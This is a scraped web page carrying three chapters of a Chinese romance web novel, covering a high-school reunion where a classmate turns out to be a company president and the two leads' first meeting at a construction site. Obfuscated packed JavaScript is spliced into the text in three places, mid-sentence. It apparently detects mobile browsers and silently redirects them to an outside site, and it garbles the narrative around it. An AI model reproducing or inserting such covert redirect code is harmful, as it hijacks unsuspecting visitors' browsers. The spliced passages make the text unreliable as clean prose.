季铭川吐出一口烟,笑着说:“行啊,别给我磕着碰着了。” “谢谢哥。”江野说,“还是哥你有福气,我这几年感触越来越深了,人这一生,很大程度从出生就决定了,还是哥你会投胎。” “是说我全靠家里呗?” 闻言,江野忙摆手:“不是不是,哥你误会我的意思了,我的意思是,运气也是实力的一部分,哥你就是运气和实力皆有的那种。” 对于地位低的向地位高的阿谀奉承的行为,门童每天都能见到,不过像江野这种完全不要脸的,真见的挺少的,几个迎宾相互对视了一眼,不动声色的抿了一下唇。 江野又说:“哥你上次发我的照片,里面言珩开的车也就那辆红旗吧,全款买下来十几万。而且我敢打赌,他是分期买的。” 季铭川耸了耸肩,不置可否。 “不过,他今天会不会也开那辆车啊?还是说为了装个场子,租个豪车啥的?”江野问。 “租个豪车?”季铭川突然笑了一下,“他都要分期买车了,能有钱租豪车?” “也是,哈哈哈。而且就算租车了,最多也就是几十万的车,肯定比不过哥全款一百多万买的帕拉梅拉。” 几个迎宾又是彼此对视一眼。 没过一会儿,一辆车开到酒店门口,几个迎宾都是一惊,那车还没停下,他们就忙跑过去等候,连季铭川都愣了一下,只有江野不太懂车,看了看旁边几个人的表情。 那车车身修长得像一块铁轨,总体上看,是好看的,但是有一种怀旧的感觉,江野不是很明白,为什么这些人突然如临大敌般,涌了过去。 他不懂,但是季铭川知道,那是一辆06款的宾利雅致RL,已经停产很多年了,零几年买这辆车得一千多万。那会儿的一千多万,换算到现在的购买力上,他有点不敢想象。 而且,那车的车牌号,五个1。 他有些吃惊,今天来聚餐,没想到能见到这样的大人物,正想好好看看是什么大佬来这个酒店。从主驾下来一个人,季铭川看着有些熟悉,不过被门童挡着,他看不真切,而后那个人走到另一边,把副驾的门打开了,副驾下来的人—— 是林斯年。 季铭川脸色突然变得很难看。 如果是林斯年的话,那主驾上的人…… 江野还不清楚状况,他看到言珩和林斯年从上面下来,隐约猜到那辆车很贵,下意识说:“我猜的果然没错,为了撑场子,他租了辆豪车。” 这话一出,旁边的迎宾实在没忍住,噗嗤一声笑了出来。 江野皱眉:“笑什么?我说的不对吗?” 眼看他发火,迎宾正想解释,季铭川冷着脸,推搡了他一把:“闭嘴。还有你,也闭嘴。” 林斯年本来安排的时间是足够的,但是在来之前,言珩带着他又回了一趟别墅,把车换成了现在开的这辆。 其实他也不是很懂车,但是当他坐在这辆车副驾驶,言珩载着他进入市区后,走到哪里都能看到有人拿手机在拍。 在第无数次被闪光灯闪到之后,林斯年心想完蛋了,这把装了个大的。 言珩把钥匙递给旁边的门童。 那门童都不敢接,扯出一个笑脸看言珩。 为什么?因为这辆车停产近二十年,很多配件都绝版了,要是不小心刮蹭到了,得找专人修,随便修一下至少得六位数。 言珩没什么表情,只是晃了一下钥匙:“把车停地下室,别紧张,有保险。” 他指的保险是专门的古董车保险,每年交的保费都得十几万,而且保险公司有指定的修理厂,他开出来这辆车,就想过被剐蹭到,并不想为难打工人。 门童这才接过钥匙,诚惶诚恐地上了车,在另外几个同事羡慕的眼神中往地下停车场开。 “宾利,又不是租不到。”江野看着手机上的搜索内容,吐槽了一句。 “闭嘴。”季铭川呵斥。 江野不清楚,但是他很清楚。 06年的宾利雅致RL,作为曾经售价一千多万的老古董,现在还能上路就很稀奇了,根本不可能随随便便租到。 更别提那个车牌,能上连号车牌的车主,会把车借给别人吗? 季铭川咬牙切齿,内心各种猜测飘过,在林斯年和言珩往这边走过来的时候,他低着头,好不容易把脸上的表情整理好。 “不好意思,班长,晚到了一点。”林斯年拽了一下口罩。 “没事,到了就好,大家都是高中同学,没那么多计较,行,那我们上去吧。”季铭川说。 四个人一起上了电梯,氛围有点奇怪。林斯年看了两眼言珩的表情,对方一贯的冷漠,看不出是什么心情,他又看向季铭川,季铭川还是笑着,和平时一样的好脾气,而当他看向江野时,对方冲他翻了个白眼。 林斯年不动声色地往言珩那边靠。 半响,季铭川看向言珩,随口问说:“刚刚那辆车是你的吗?” 言珩:“不然是我租的?” 明明是反问,他的声音却毫无起伏。 季铭川脸色一僵,明白言珩是在讽刺他。旁边的江野却笑了,他就知道言珩这孙子租车来装逼。 他们去到位置时,桌子上正好在聊天,有个男生想抽烟,摸了半天没找到打火机:“我记得我带打火机了呀。” 旁边的男生把自己的打火机递给他:“打火机是这样的,买一个丢一个,先用我的吧。” 男生挠了挠头:“行,谢谢。” 他还没把烟点着,旁边的侍应生见到了,立马跑过来制止,说室内不允许吸烟,男生悻悻地把烟和打火机放下。 等侍应生走了,他才吐槽了一句:“怪不得是高端酒店呢。” 正在这时,他看到了几个人往这边走。 走在前面的是季铭川和江野,后面两个显然是林斯年和言珩。 林斯年一如既往戴口罩,垂着眼睛看地面,尽量不和别人对视,言珩挺让人震惊的,和高中的气质天差地别。 “接到人了。”季铭川说,“大家吃饭吧,今天这顿我请客,有什么需要的再点,不用拘谨。” 等四个人落座后,大家才开始吃饭,席间大家天南地北地聊。 林斯年和言珩基本不插话,偶尔林斯年会有想吃的东西,会在桌子下戳一戳言珩的腿,往往言珩会明白他的暗示。 就在言珩再一次用公筷把东西夹进林斯年的碗里时,大家正聊到自己投了什么简历,有个男生好奇地问林斯年:“林斯年,你打算读研吗?” “不打算。” “哎,为什么?”李泽宇继续问,“Z大不是挺好的吗,保研率那么高,你没保研吗?” 闻言,江野立马坐直身子:“对啊,Z大是上9了吧,你高中成绩那么好,高考分能去清北,不会上了大学就松懈了吧?” 林斯年摇摇头,没说什么。 江野又说:“我感觉拿保研名额挺容易的,我这破学校,保研率那么低,我平时也没那么努力,就正常上课交作业,也没参加竞赛什么的,最后居然也能保研。” 又是在拿自己保研上岸炫耀,在场的几个人听得耳朵都磨出了茧子。只有季铭川安慰他:“那说明你还是努力过了。” 林斯年:“保研通知下来,我拒绝了。” 江野脸色一变。另外几个人偷偷在笑,他们还记得江野说过,要是能找到好工作,保研名额下来的时候他也拒绝了。 言珩在旁边幽幽插了一句嘴:“看来是找到不错的工作了。” 伤害性不高,侮辱性极大。 江野脸色变得更差了。 有人问林斯年:“你找到什么工作了呀?” 林斯年瞥了一眼言珩:“最近在忙着准备极溯的面试。” “极溯吗?”李泽宇突然来了兴致,“我是去年秋招进的极溯,一个很普通的文职,今年一直在忙着实习呢。” 林斯年又看了一眼言珩:“是吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374876|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对啊。”李泽宇说,“而且今年我们一个项目跟Z大有合作,听说最近总裁都先从S市回来了呢。” 在场的几个人都在Z市或者在Z市附近生活,对极溯有所耳闻。极溯集团就是从Z市发家的。最开始专供门诊和小医院的医疗器械,后来站在风口上,发展重心逐渐移去国外,国内只留下了放射性医用设备的子公司。 “我也听说了,据说现在上任的那个总裁,年纪跟我们一样大,唉,要么说,同人不同命呢。” “就是,要是我也有那样的家境就好了,谁还当不了一个总裁了?” …… 李泽宇撇了撇嘴:“话说,我今年实习,还见过很多次那个总裁呢,是年纪挺小的,不知道是不是现在这批实习生里只有我白净,他有啥跑腿的活都交给我干。” 林斯年:“……” 听了李泽宇的话,他头顶冒出一个问号,看了看言珩的表情,感觉言珩也挺懵的,又想起他去过言珩的办公室,那是一个临时办公室,被围了起来,离别的地方还挺远的,有事应该有助理帮忙,应该不会跟这边的职员有什么交集。 对上林斯年投过来的怀疑目光,言珩戳了戳太阳穴,右边眉毛挑了一下。 在场的其他人没看到他俩的互动,反而对李泽宇的话开始感兴趣。 有人说:“那总裁不会是个gay吧,看上你了?我靠,也不是不可能,他们gay不是都荤素不忌的吗?” 也有人就这个话聊下去:“那李泽宇你要是真被看上了,发达了,别忘了这些老同学啊。” 还有人在开玩笑:“那今年你过生日,我送你一箱子痔疮膏吧,哈哈哈哈。” 李泽宇有些恼了:“怎么一说这个,想起来的就是我在下面呢,万一那个总裁,万一他……” “噗——” 他话还没说完,就被林斯年发出的动静吸引了目光。只见林斯年手里还端着水杯,刚刚嘴里喝了一小口水,这会儿全喷在自己腿上,和旁边坐着的言珩身上。 林斯年接过言珩递来的纸巾,擦了擦嘴:“不好意思,不好意思。” 被人打断装逼,当然是一件让人愤怒的事,李泽宇皱着眉,看了看对面,正在拿手帕擦自己身上水渍的言珩,动作间一股行云流水的贵气。 他突然想起了什么:“说起来,那个总裁跟言珩名字的读音一样呢,不过他的姓是严格的严,不是说话的这个言。” 言珩把林斯年腿上的水也擦了擦,这才认真地看向对面的男生,这人叫什么他忘记了,也不记得自己在分公司见过对方,他说:“万一,我改姓了,我的言变成了严格的严呢?” 他是在说真话,不过别人都不信,尤其这个宣称自己得到严珩青睐的实习生:“怎么可能,我见过那个严珩,人家什么地位呀,别瞎开这种玩笑。” 有人打哈哈:“而且言珩你一看就铁直。” 闻言,好几个人都笑了。 李泽宇也笑了,他就是在撒谎,那又怎样,在场的只有林斯年跟极溯有联系,不过林斯年还在面试阶段,肯定也不清楚。 他原本是个透明人,毕业的时候走了运,进了大厂,跟几个同学炫耀炫耀,享受一下这种被人瞩目的感觉,谁又能戳穿他呢。 “对啊,同人不同命,你高中的时候不还偷……别说你没改,你真改了,我倒立吃……”李泽宇的话没说完,看到一个人向这边走来。 严珩他没见过,但是这人他见过。 据说也是从国外回来的,被安排在严珩身边帮助他过渡。要说地位,可能在集团内部,李由的地位可能比严珩还高一点。 李泽宇立马站了起来。 他还没挂上恭谨的神色,在他的注视下,李由看都没看他一样,走到言珩身边,在他耳边说了些什么话,而后站直身子。 李由头发打了很重的发蜡,身上的衣服也被整理得没有一点褶皱。 “严总,别忘了,明天早上的飞机哦。”李由笑得滴水不漏。 “我知道。”言珩说,“你来做什么?” 闻言,李由的笑容变得更深了,心想,他妈的不是你让我来这里陪你打脸装逼的吗,还说让我自己看着发挥,还好你们没定包厢,不然还得想办法怎么不失礼貌地进去。 他笑着指了指旁边的桌子:“下班了,来和几个老朋友聚会。” 言珩顺着他的目光看过去,旁边的桌子上坐着几个熟悉的面孔,他们显然也是认识言珩的。 李由耸肩:“打个招呼?” 言珩默默盯着李由看了一瞬,眼神里分明写满了自作主张,他起身走到旁边的桌子,挨个向这几个叔叔辈的人问好。 本来也是私下聚餐,没那么多忌讳,言珩没有多喝,他们听了他说是来参加同学聚会,也就笑着把他放回去了。 “唉,小少爷,真是不好意思,你来参加和同学的聚会,下班时间了,我还让你应酬。”李由明明是在抱歉,语气却一点都不带歉意。 他的话分明就是在讽刺言珩,说自己都下班了还要陪老板来演戏。 把这几个老朋友喊来,一部分原因是他们确实每年都会聚一聚,另一部分原因当然是给言珩出难题。 言珩把“没关系”三个字说得咬牙切齿。 自己的任务完成了,李由可以光荣退下了,在离开之前,他看了一眼旁边的林斯年,林斯年眼睛一眨不眨地看着自己。 不光是言珩,这五年期间,他也无数次在照片上见到过林斯年了,不过对方还是第二次见到自己。 照片里已经够漂亮了,见到真人,却也不得不承认,是个精致人。 “How interesting!”李由说完走了。 林斯年有点摸不准这个“interesting”是褒义还是贬义,看了眼言珩,言珩拍了拍他的肩膀。 经过这么一闹,在场的人都知道了,原来此言珩就是彼严珩,他们已经小声议论过一轮了。 可惜他们不知道,还当着本人的面,开那样低俗的玩笑,这下好了,连攀关系都没有立场了,自己吐槽自己,吃屎都赶不上热乎的。 尤其李泽宇,脸都白了,他以为言珩表明自己身份后,会对自己的撒谎做出惩罚,他心里一直忐忑不安,一直等到吃完饭,言珩都没说什么,他才稍稍松了口气。 直到第二周周一正常去上班,他收到了通知他实习不通过的通知。不过那都是后话。 酒店的餐厅出去,是一个巨大的观景台,也是一个独立出来的吸烟区,有很先进的通风设备。 这顿饭后来吃得很尴尬,结束后,言珩被李由拉着说一些私人的话,林斯年先出来等着,他站在落地窗前,看着城市的夜景。 璀璨的灯光落在他的白皙的脸上,更是惊心动魄的漂亮。 身上的衣服是言珩下午让助理买的,吊牌早就被摘了,林斯年查不到价格,只能根据版型猜测应该价值不菲。 有人喊了他的名字,林斯年微微侧身,就看到季铭川信步走了过来,走到他身边,和他一起看外面的风景。 林斯年露出一个礼貌的笑:“班长。” 过了片刻,季铭川突然看向他:“林斯年,你知道吗?” 林斯年愣了愣:“什么?” 季铭川低头,笑容有点苦涩,也有点暗藏不易察觉的甜蜜。 “我想对你说点我的心里话,其实我从高中的时候就喜欢你了,只是高中一毕业,就被家里人安排出国,出国的这些年,我一直都很想你。” “我见到很多人,也收到过很多人的表白,但是每次我都拒绝了,因为我知道,如果有机会,我一定会回来找你。” “所幸,命运垂怜,我今年顺利回来,也见到了你,我真的很开心。其实去应聘模特是个借口,我只是想见你。” “我知道你现在肯定觉得很突然。” 季铭川抬头,认真看向林斯年的脸:“但是都没有关系,你不用着急给我答复,我只是想告诉你,我很喜欢你。” “我喜欢你。”他重复了一遍。 而林斯年作为被表白的那一方,像是根本没有听到季铭川的话,他看着落地窗,表情微愣。 玻璃的倒影上,言珩刚从里面走出来,两人的视线在玻璃上交汇。 16. CH.16 2020年7月17日,星期五,晴。 随母亲改嫁来到垂城的第一天晚上,林斯年在陌生的卧室里,坐在书桌前,提笔在日记本上写下第一行。 他刚洗完澡,头发吹了半干,额前的发挡住漆黑发亮的眼睛,透着一股执拗和认真的劲儿。 林婉清能嫁给林斯年的亲生父亲,完全是父母之命,所以婚后,两人势同水火。 尽管如此,如果不是那个男人因为赌钱,要把林斯年卖了还赌债,被她发现,听话了一辈子的林婉清从来没想过要离婚。 林斯年八岁的时候,他们一拍两散。 林斯年十六岁的时候,林婉清结识了出差的陆安书。那个温文尔雅的叔叔见他第一面,给他转了一万块钱,说你妈妈一个女人不容易。 两人关系火速发展。 直到一个星期之前,林婉清和陆安书去民政局领了结婚证。林婉清给他办理了转学手续,举家搬来垂城。这一年,林斯年十七岁。 新家在一片老旧的居民区里,带着小县城独有的破败和混乱。但是家里面布置却很温馨,陆安书一个鳏夫带着独女,把家打理得井井有条。 林婉清带着林斯年进家门的时候,陆安书抱着一大束花,他把花放到林婉清手里,得来一个大大的拥抱。 林婉清和陆绾绾已经有过接触了,唯一陌生的就是两个小辈,于是陆安书看向林斯年,向陆绾绾介绍:“他叫林斯年,以后他就是你的亲弟弟了。” 在林婉清忐忑的目光中,陆绾绾笑着点头表示知道了。 她走到林斯年的面前,把一个中盒的乐高展示出来:“我叫陆绾绾,绾作同心结的绾,不知道你喜欢什么,我就买了男孩子都喜欢的玩具。” 林婉清和陆安书对视一眼,十分欣慰。 彼时,正处于焦点位置的林斯年,使劲压了一下帽檐,才接过陆绾绾手里的礼物。 林婉清推了一下他的肩膀:“快喊人,说谢谢姐姐。” 林斯年抿了一下唇,口罩下的脸上已经冒了一层细密的汗,八月份的天气,下午尤其燥热。 陆安书知道他不喜欢跟人交流的毛病,并不为难他:“没事,两小孩还不熟呢,以后熟了,有的是机会。” 林婉清叹了口气,看向身旁的儿子。 自闭症患者往往伴有高敏感特质,林斯年就是这样的。他小时候确诊轻微自闭,对声音和文字极其敏感,往往见过的、听过的,只一次就能完整复述下来。 所以林婉清一直觉得,她儿子会是天才,怎么都想不通,后来怎么会变成这样,越来越怕见到陌生人。 她多次去求神问佛,据说很灵验的山,她三叩九拜地爬上去过,各种道士神婆也问过,她是真爱林斯年,什么办法都试过,孩子却不见好,她看在眼里疼在心里。 一个母亲望向儿子的眼神,林斯年闭了一下眼睛,又睁开,下午的回忆就定格在那双眼睛里。 他看向窗外,只零星几户人家开着灯,书桌是陌生的,空气里的湿度是陌生的,床是陌生的,周围所有事物都是陌生的。 林斯年提笔把日记补充完整: 我有三个愿望。 第一个愿望是,希望我的母亲因为有了我而由衷地感到幸福; 第二个愿望是,希望我能找到一项我热爱的事情并为此奋斗终生; 第三个愿望是,希望我的人生中永远都有第三个愿望为我托底。 写完最后一个字,林斯年把日记本合上,静坐在窗前,等头发干得差不多了,才把灯关了,抹黑躺到床上。 林斯年第一次见到言珩,是在次日中午,太阳把路面照得亮堂堂的,像是撒了一地的金豆子。这在南方很难得,Z市的夏天从来不会这样干爽,热到有颗粒度。 他被正在做午饭的林婉清喊去买醋,口罩和帽子把脸挡得严严实实的,一进小卖铺的门,风铃叮铃铃地响。 他身上出了一层汗,小卖铺里的风扇开到最高一档,突如其来的冷风吹到身上,先起了一身鸡皮疙瘩,正要向货架走去,一抬头却看到了柜台前的瘦高男生。 个子高的人在现实中会很有冲击感,林斯年就那么愣在原地,站了几秒。 那男生上身是一件白色的老头衫,下身是一条黑色的及膝短裤,身上一团团白灰色的污渍,像干透的水泥。他手里拿着一个装有两个白馒头的塑料袋和一瓶水,刚接完账就要往外走。 两人在店门处交错。 陌生男生向林斯年看过来时,他正眼睛一眨不眨地盯着对方。 年轻的心脏在胸膛里震动。 人对于眼睛能展露的情感尤为敏感,林斯年看着对方的眼睛,就好像,他多出一次的心跳像是对方所遗漏的。 那男生走了之后,林斯年摸了摸口罩,从货架上拿了醋和一瓶可乐,放在柜台上。 老板娘在机子上录了信息,说:“一共二十块八毛钱。” 林斯年慢吞吞掏出手机结账。 老板娘又坐回躺椅上,拿着蒲扇吹风,和旁边几个坐着小板凳的麻友聊天:“刚刚那个,是不是言老头家的?” “是,挺可怜的,在二中上高中呢,言老头一分钱都不给他拿,这不放暑假了,天天在隔壁工地上打工呢。” “长得跟言老头可一点不像……” “你说这个,我倒是想起来他妈妈,长得那叫一个天仙下凡,据说是从外地拐回来的。” “唉,言老头是真造孽,耍钱喝酒不说,还打老婆,我住他家隔壁,有段时间,天天晚上能听到家里砰砰砰的。” “别说打老婆,儿子他都打,他刚刚转身出去的时候,没看到他背上那么长一道疤?” “也是现在长大了,支棱起来了,他在的时候老头都不敢动手,前几天言老头喝了酒,耍酒疯要打他妈,那小子就火了。” “对对对,我也听说了,听说他直接抄起地上的酒瓶就灌过去了,把老头脑袋都开瓢了,要不是邻居听见动静叫了警察,怕是要流血流死了。” “儿子打老子,心真硬呀……” “这种情况,心不硬也不行呀,那小孩中考成绩还挺好的,要不是生在这家庭里,以后说不定能成什么样子呢。” “不过确实挺狠,还挺吓人,听警察说,老头躺在地上,脑袋开瓢,现场跟爆炸了的西瓜一样,哪哪儿都溅了血。” “快别说了,我正吃着西瓜呢。” …… 林斯年出了便利店,热浪重新包裹,放在裤子口袋里的手机震动了一下,他拿出来,上面是林婉清的消息。 妈妈:年年,回来的时候记得买个西瓜,天气太热了,这会儿买回来放冰箱里,吃完午饭正好切西瓜吃。 林斯年:“……” 一定要是西瓜吗? 他回了林婉清消息,又走到街道上,那里一遛卖水果的小摊贩,随便找了一个摊,让老板把挑好的西瓜称好,提着两个袋子往家走。 这一片是老城区,很多房子都是分给周围乡镇的福利房,生活气息很浓郁。 隔了一堵墙的地方,就是刚才便利店里他们聊到的工地,本来是一堆烂尾房,不知道哪个老板看中了,出钱继续修。 林斯年回家途中,会路过一个豁口,正好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374877|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看到那个工地。 小地方的工地上没那么讲究,只有几个人戴着安全帽,很多人嫌热,只穿着一件短裤。 那地方离这里不远,林斯年想起刚刚在便利店里看到的男生,想起那双阴沉的眼睛,姓言,应该和他差不多年纪。 没有过多犹豫,他跨过低矮的砖块,向那边摸索着走过去。 这段路没人走,林斯年走得小心翼翼,他穿过一个倒塌的房屋,快要走到工地时,突然听到了身后有铁链的声音。 下意识扭头看去,他看到一条狗。 那狗脖子上挂着铁链,铁链把脖子上的毛都磨得秃了,毛色是棕黑色的,油光发亮,獠牙在外面裸露着,眼神凶狠,和林斯年对视上,恶狠狠地汪汪汪直叫。 林斯年往后退一步,那狗往前走一步。 他心脏狂跳,咬人和不咬人的狗,他一眼就能看出来,面前这狗,显然是工人们专门养的,防止晚上来偷东西的,没想到被他遇到了,少不了挨一顿咬。 虽然知道见了狗不能跑,越跑狗越兴奋,但是这地方离工地上工人聚集的地方不远,林斯年还是选择了向那边跑去。 “汪汪汪!!” 狗在身后狂追,林斯年在前面提着两个袋子狂奔,他的心脏要跳到嗓子眼,喉咙因为奔跑泛起了充满血腥的胀痛,就在这时,他看到了坐在台阶上的男生。 他脑子里不合时宜地就蹦出几句话。 抄起酒瓶就灌过去…… 给老头脑袋开瓢…… 爆炸了的西瓜…… 林斯年浑身一抖,在暴力狂和疯狗之间,他退缩了,选择直面疯狗。 他转过身,用力深呼吸,平复心跳,跳起来到他胸口的大狗以一个防备姿势趴着,和他对峙。 林斯年全部肌肉都绷紧了,正打算和疯狗鱼死网破,听到后面有人走过来的声音,没有转身,依旧能感觉到有一个充满热度的身体靠近了自己。 而后,是一个人在说话。 “小黑,滚蛋。”声音里充满暴戾。 那狗呜咽一声,看了眼林斯年,走了。 林斯年松懈下来,转过身,声音的主人正双臂环胸看着他。这个年纪的言珩,对世界上所有的事物都本能地充满了强烈的的防备和抗拒。 于是在林斯年眼中,对方的神情那样可怕,比刚才的疯狗还可怕。 他腿一软,一屁股坐在散落的砖块上。 脑袋……开瓢…… 林斯年把手里的袋子就那么放在地上,下意识双手抱住了自己的脑袋,用力闭上了眼睛。 紧接着,有什么东西贴在了他的脑袋上。 林斯年慌了:“不要打我,不要给我开瓢,我有西瓜,我给你西瓜……” 言珩:“……” “哈哈哈哈哈,什么东西,笑死我了,言珩这你同学吗?” “快点,什么时候把小黑的链子换一下,把人家小孩都吓坏了。” “小孩来给你送西瓜的吗?来来来,正好问问他要不要吃饭,把西瓜给大家分了。” 周围工人不带恶意的议论传入耳朵,林斯年缓缓睁开了眼睛,和蹲在他面条的男生对视。他把手从脑袋上挪了下来,帽子啪嗒掉在了地上。 调笑声混杂着水泥搅拌机的嗡鸣声,一阵阵的热浪席卷,林斯年心脏狂跳,所有的事物都迅速往后扭曲退去,只有面前的人是真实的。 言珩把他掉落的帽子捡起来,捏着帽檐扣在他的脑袋上。 林斯年想,原来是他刚才跑的时候,不小心把帽子掉了,对方只是给他戴帽子,不是要给他脑袋开瓢。 17. CH.17 见对方没打算真把自己怎么样,林斯年拍了拍屁股,从地上站起来,工人们还在跟他调笑,说他怎么胆子这么小,小黑就是吓唬他,不咬人的。 林斯年脸皮薄,被人议论,脸上阵阵发烫,尤其太阳毒辣,紫外线照在脸上,更觉刺痛。他上手摸了摸脸,不知道什么时候口罩掉了。 林斯年嘴唇颤抖,下意识想找他的口罩,却见旁边的男生用食指勾着口罩的绳子:“你是在找这个吗?” 他上手拿口罩,却被那男生抽手躲开。 “这都脏了。”言珩说。 林斯年不说话,低着头看脚尖,这个时候的他还没有确诊重度社恐,林婉清讳疾忌医,只猜测他可能遇到不干净的东西了,带着他去看的也是各种神婆。 但是他在网上查询过自己的症状,对病情有个大致猜测。 他额头上出了一些汗,帽子压下来的头发刚把眼睛遮住,里面盈满了忐忑,他把牙咬得很紧,想说些什么,却一个字都蹦不出来。 言珩也不知道怎么惹到他了,看着在自己面前紧绷着的男孩,过了一会儿,把口罩塞到他防晒衣的口袋里。 林斯年连忙把口罩拿出来,也不管上面是不是沾了灰,在脸上戴好之后,松了口气。 透过帽檐和口罩的缝隙,林斯年抬头看,言珩站在他面前还没走。 他想说谢谢,两个字却卡在了齿缝。 言珩可能也没见过这么呆的人,弯腰,把地上两个袋子捡起来,拉过他的手,把袋子挂到了他手上。 肌肤相贴,林斯年猛地抽手,要不是言珩眼疾手快,袋子里的西瓜就要摔个稀巴碎了。 言珩看着林斯年,手里提着两个袋子,表情有点无语。 也是,在此之前,两人都不认识,要不是刚刚在便利店门口短暂对视了一瞬,林斯年又鬼使神差地追过来,怎么会有这样的交集。 不知道该怎么解释,林斯年干站着。 有些沉默,也有些尴尬。 言珩其实是记得林斯年的,大夏天中午,包裹这么严实的人也少见,还是个男生,尤其那双眼睛那么漂亮,想让人忘记也难。 不知道林斯年出现在这里的目的,他也从来没在小区里见过这个男生,对方根本不像是在小县城里长大的。 但不管是什么原因,此时的言珩都没有多余的精力去思考,生存已经磨平了他所有棱角。 他往前走了两步,低头去找林斯年的视线,找到之后,把眉头往下一压,语气凶狠:“来找我的吗,不怕给你脑袋开个瓢?” 林斯年后退一步,啪叽又坐到了地上,眼睛里写满了恐惧,胸口不平静地上下起伏,抓住地上一个砖块,向言珩示威。 言珩:“……” 言珩摸了摸自己的脸,他有这么凶吗,怎么给人吓成这样,而且…… 他低头看向林斯年。 人长得跟小兔子似的,觉得拿了砖块就有威慑力了吗? 怕真给人讹上了,他可没钱赔,言珩没继续理会坐在地上的男孩,把两个袋子放在地上,转身往水泥车走,打算看看水泥搅好了没。 然后,言珩的背心就被人拉住了。 他都来工地了,怎么会注意形象,当然是怎么方便怎么来,身上穿着几块钱的老头衫,要不是年纪小,脸皮还没那么厚,早就和他们一样只穿着短裤就来了。 这种价格的布料,有个毛病。 “呲啦——” 林斯年手里拿着一块布料,他不敢置信地看向自己的手心,又看向转过身来的言珩,有那么一瞬间,言珩觉得,他比自己这个受害者还要懵。 言珩深吸了一口气,一边的肩带已经松松垮垮挂在了胸前,另一边还好着,别说,他莫名幻视了什么电视剧人物。 林斯年把手往身后一藏,突然想起来自己要做什么,松手,把那一小块布料扔了,然后把装了西瓜的那个袋子伸到言珩的面前。 言珩叹气:“干什么?” 林斯年结结巴巴地说:“给、给你。” 想起来刚刚林斯年说,怕脑袋开瓢,要把西瓜给他的话,言珩心下一阵好笑:“我不是沙僧。” 林斯年歪头,疑惑。 言珩指了指自己的衣服:“如你所见,拜你所赐,我现在是唐僧,不是沙僧,不别脑袋。” 林斯年:“……” 他学着刚刚言珩的动作,拉过那只宽大的粗糙手掌,把袋子挂在上面,往后退了两步,退回安全的位置。 言珩:“……” 行吧,言珩掂了掂手里的西瓜分量,从裤子的口袋里掏出一沓钱,几张一块和五块的,一张十块和一张二十的,两三个硬币。 想了想,他拿出那张二十的,塞到林斯年的上衣口袋里。 林斯年摸了摸大拇指的指甲盖,好像也没什么继续待下去的理由了。看着言珩因为大太阳而眯起的眼睛,他心一跳,视线下移,看到对方胸前被晒黑的皮肤,有很明显的黑白分界线,那条被扯坏的衣服挂在上面,太瘦了,肌肉也只是覆盖在骨头上的薄薄一层,但是很漂亮,莫名让人想到矫健这两个字。 林斯年舔了一下唇,有些不知道怎么说,把衣服撕坏了是不是得赔钱。 他做了很久的心理准备,在言珩等待了半天,正要转身走的时候,突然出声。 “你的heng,是哪个字?” 言珩脚步顿住,反应过来林斯年问的是他的名字:“说话的言,王行的珩。” 林斯年点头:“我知道了。” 说完,他就扭头往外走了,在快要走出这片工地的时候,回头看了一眼。因为被拽坏了上衣,言珩背对着他的时候,能看到肩胛骨处有一条长长的疤。他收回视线的最后一秒,似乎是对方转身看了过来。 林斯年呼出一口气,彻底消失在工地上,他眼睛亮晶晶的,重新买了一个西瓜往家走。 走到见不到人的阴凉处,他短暂把口罩摘到下巴处,摸了摸脸,好烫。 言珩提着西瓜,目视着林斯年走进豁口,原地默了片刻,才举起自己的手,放在鼻子下,明明被各种建筑材料腌入味了,他却在里面闻到一股不同寻常的香味。 那个莫名其妙的漂亮男孩身上的味道。 言珩把西瓜给工人大哥们分了,他在这里年纪最小,还是兼职,包工头看他可怜才放任他在这里干活,所有人都很照顾他。 西瓜很甜,言珩吃了两块。 他在攒钱,平时吃饭都是能省则省,他没在工地上交餐标,虽然做饭的时候,大家会让他吃,他自己却不好意思。夏天西瓜虽然便宜,他也几乎不会买。 工人们问他:“刚刚那个小男孩,胆子怎么那么小,是你朋友吗?” “不认识。”言珩说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374878|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我在这小区里住这么多年了,我也没见过他,应该是这两天新搬来的吧。” “……” “还有,你钱给多了,这西瓜用不了二十,要是买西瓜,你去老李那里,能按批发价走。” “好,谢谢哥。” “不过,他怎么追到这里来了?” “没准迷路了吧。” 兔子总是喜欢迷路,太合理了。 因为在工地上耽搁了一段时间,林斯年回去的时候,林婉清已经借了邻居家的醋把饭做完了。 “怎么回来这么晚呀?”林婉清问。 “有点迷路。”林斯年说。 “回来就行,洗个手,我们先吃饭吧。”林婉清接过他手里的醋,放到厨房里。 陆绾绾和陆安书已经在餐桌旁坐着了,林斯年在他们对面坐下,等到林婉清也落座了,四人才开始动筷。 